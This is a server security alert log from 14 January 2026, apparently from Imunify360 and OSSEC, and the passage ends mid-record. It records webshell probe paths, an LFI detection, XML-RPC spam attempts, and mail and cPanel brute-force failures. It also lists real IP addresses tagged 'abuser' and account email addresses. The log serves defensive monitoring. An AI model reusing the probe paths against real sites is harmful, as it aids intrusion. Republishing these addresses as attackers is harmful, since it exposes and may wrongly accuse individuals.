IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-buttons.css?v=1.0.5 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.248.206.208
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=644279 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 128.203.200.49
country_id: 6251999
description:
Jan 14 12:59:59 sv3 pure-ftpd[1855935]: (?@128.203.200.49) [INFO] New connection from 128.203.200.49


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 12:59:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.96.227.113
country_id: 6252001
description:
2026-01-14 13:00:46 dovecot_plain authenticator failed for H=([10.4.18.167]) [191.96.227.113]:45184: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 128.203.200.49
country_id: 6251999
description:
Jan 14 13:00:09 sv3 pure-ftpd[1856402]: (?@128.203.200.49) [INFO] New connection from 128.203.200.49


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.96.227.113
country_id: 6252001
description:
2026-01-14 13:01:12 dovecot_plain authenticator failed for H=([10.4.18.167]) [191.96.227.113]:50718: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.230.9.225
country_id: 1562822
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/p-1.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.165.230.54
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/laravel/tinker/src/TinkerServiceProvider.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/design-proposal.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/images/home/press.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.183.30.181
country_id: 298795
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/shirt/11/134/1174571 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.178.28.221
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/Snooker.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/keyword/img/photos/csr.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/keyword/images/druma.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/img/photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.112.126
country_id: 1269750
description:
Jan 14 13:13:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.112.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.112.126
country_id: 1269750
description:
2026-01-14 13:13:08 dovecot_login authenticator failed for H=([128.185.176.81]) [27.123.112.126]:37832: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.183.87.74
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=108861 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/photos/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 20.118.209.129
country_id: 6252001
description:
Jan 14 13:16:10 sv3 pure-ftpd[1875140]: (?@20.118.209.129) [INFO] New connection from 20.118.209.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 13:17:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50337: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 13:17:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50338: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/druma/awards.php||SC:/home/indfinitydesign/public_html/images/druma||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.59.200.166
country_id: 149590
description:
Jan 14 13:21:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.59.200.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.200.166
country_id: 149590
description:
2026-01-14 13:22:01 dovecot_login authenticator failed for H=([41.59.200.166]) [41.59.200.166]:34840: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/photos/csr.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/druma_photos/about.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 167.172.184.143
country_id: 2921044
description:
Jan 14 13:23:27 sv3 pure-ftpd[1883273]: (?@167.172.184.143) [INFO] New connection from 167.172.184.143


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/images/about.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.11
country_id: 241170
description:
Jan 14 13:29:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.11 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 206.168.34.112
country_id: 6252001
description:
Jan 14 13:31:13 sv3 pure-ftpd[1893017]: (?@206.168.34.112) [INFO] New connection from 206.168.34.112


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.224.97.234
country_id: 3469034
description:
Jan 14 13:31:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.224.97.234 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.49.254.231
country_id: 1269750
domain: mokshana.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:92992.mokshana.com.my||ServerName:mokshana.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9674c7773a1b4c1c2ef180276b1e22dcd7b27e16||Title:0x1d2ce3ae||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 54.183.226.39
country_id: 6252001
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/re.php||SC:/home2/fkrcom/public_html/img/re.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.41.9.153
country_id: 357994
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/Rational.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-14 13:36:03 +0800] info [webmaild] 175.144.229.115 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.0.83.168
country_id: 1562822
description:
Jan 14 13:38:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.0.83.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.0.83.168
country_id: 1562822
description:
2026-01-14 13:38:34 dovecot_login authenticator failed for H=([127.0.0.1]) [117.0.83.168]:56684: 535 Incorrect authentication data (set_id=meemee@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.196.88.148
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=30961516781324 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.37.128.111
country_id: 1269750
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=382656 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.163
country_id: 6252001
description:
2026-01-14 13:41:50 37624 [Warning] Aborted connection 37624 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.163' (This connection closed normally without authentication)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 129.212.224.215
country_id: 1880251
domain: www.box.com.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.63||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 13:45:06 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50434: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.108.63.44
country_id: 1210997
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/05featuredemo.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 97.118.232.166
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-45.97.118.232.166||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 13:45:12 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50434: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.179.75.230
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-3.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.150.231
country_id: 248816
domain: feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/feliogroup.com.my/product.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 13:49:37 H=([45.144.212.242]) [45.144.212.242]:59917 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <marina@astlog.com.my>: No Such User Here


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.191.134.208
country_id: 1733045
description:
[2026-01-14 13:50:10 +0800] info [webmaild] 42.191.134.208 - nazurah@fkr.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 84.17.58.19
country_id: 3175395
description:
2026-01-14 13:51:40 38560 [Warning] Aborted connection 38560 to db: 'unconnected' user: 'unauthenticated' host: '84.17.58.19' (This connection closed normally without authentication)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-14 13:52:10 +0800] info [webmaild] 175.144.229.115 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.189.198.229
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Requests/Admin/StoreTaskmanagerRequest.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 13:58:12 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:36742: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 46.203.206.44
country_id: 2510769
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-59.46.203.206.44||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:00:12 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:11967: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:01:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:36744: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.122.246.185
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/duck/646/292034 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:02:47 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:12537: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:02:53 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:12537: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 proxy - [01/14/2026:06:02:58 -0000] "GET /415.shtml HTTP/1.1" 404 0 "https://cpanel.kainanholding.com/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10445722&pdata=https%253A%252F%252Fcpanel.kainanholding.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768370575" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" "-" "X-Forwarded-For: 34.122.147.229" 443


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 proxy - [01/14/2026:06:02:59 -0000] "GET /415.shtml HTTP/1.1" 404 0 "https://webmail.kainanholding.com/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10064487&pdata=https%253A%252F%252Fwebmail.kainanholding.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768370576" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" "-" "X-Forwarded-For: 104.197.69.115" 443


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 proxy - [01/14/2026:06:03:10 -0000] "GET /415.shtml HTTP/1.1" 404 0 "https://cpanel.kainanholding.com/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723735&pdata=https%253A%252F%252Fcpanel.kainanholding.com%252F404.shtml&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768370587" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" "-" "X-Forwarded-For: 104.197.69.115" 443


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.164.250.203
country_id: 290557
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/about/our-belief-mission-vision HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:03:20 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:12538: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:04:11 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:36748: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:05:55 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:12549: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:06:11 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:12550: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:07:19 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:36750: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:07:36 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:36750: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:09:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:12566: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:09:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:12566: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.160.135.166
country_id: 1820814
description:
Jan 14 14:11:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.160.135.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.135.166
country_id: 1820814
description:
2026-01-14 14:11:37 dovecot_login authenticator failed for H=(166-135.adsl.static.espeed.com.bn) [119.160.135.166]:35546: 535 Incorrect authentication data (set_id=slgoh@kendek.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.156.97.198
country_id: 337996
description:
Jan 14 14:11:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.156.97.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.156.97.198
country_id: 337996
description:
2026-01-14 14:12:00 dovecot_login authenticator failed for H=([197.156.97.198]) [197.156.97.198]:35036: 535 Incorrect authentication data (set_id=slgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 14:13:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50577: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 14:13:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50577: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.191.125.18
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/enough/614/530831 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:17:01 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:36751: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:17:17 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:36752: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:19:01 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:13149: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:19:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:13150: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.190.98.200
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-88.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77142247
name: IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI
abuser: 116.4.12.63
country_id: 1814991
domain: feliogroup.com.my
description:
IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/download.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 14:23:52 H=([45.144.212.242]) [45.144.212.242]:64568 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.247.125.84
country_id: 6252001
description:
2026-01-14 14:25:10 dovecot_plain authenticator failed for H=c-69-247-125-84.hsd1.ms.comcast.net (prersesse) [69.247.125.84]:46884: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.205.115.236
country_id: 1269750
domain: nexuscollection.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:53731.nexuscollection.com||ServerName:nexuscollection.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3a10475f1a597e3fa458535ac2be5e5fc0b024a5||Title:0x58ce8579||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 42.191.134.208
country_id: 1733045
description:
[2026-01-14 14:26:40 +0800] info [webmaild] 42.191.134.208 - wongss28@fkr.com.my "GET /cpsess2735505769/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=2003&_mbox=INBOX&_framed=1&_action=preview HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.43.190.100
country_id: 2510769
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-30.45.43.190.100||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.28.49.214
country_id: 2635167
domain: tujusetia.my
description:
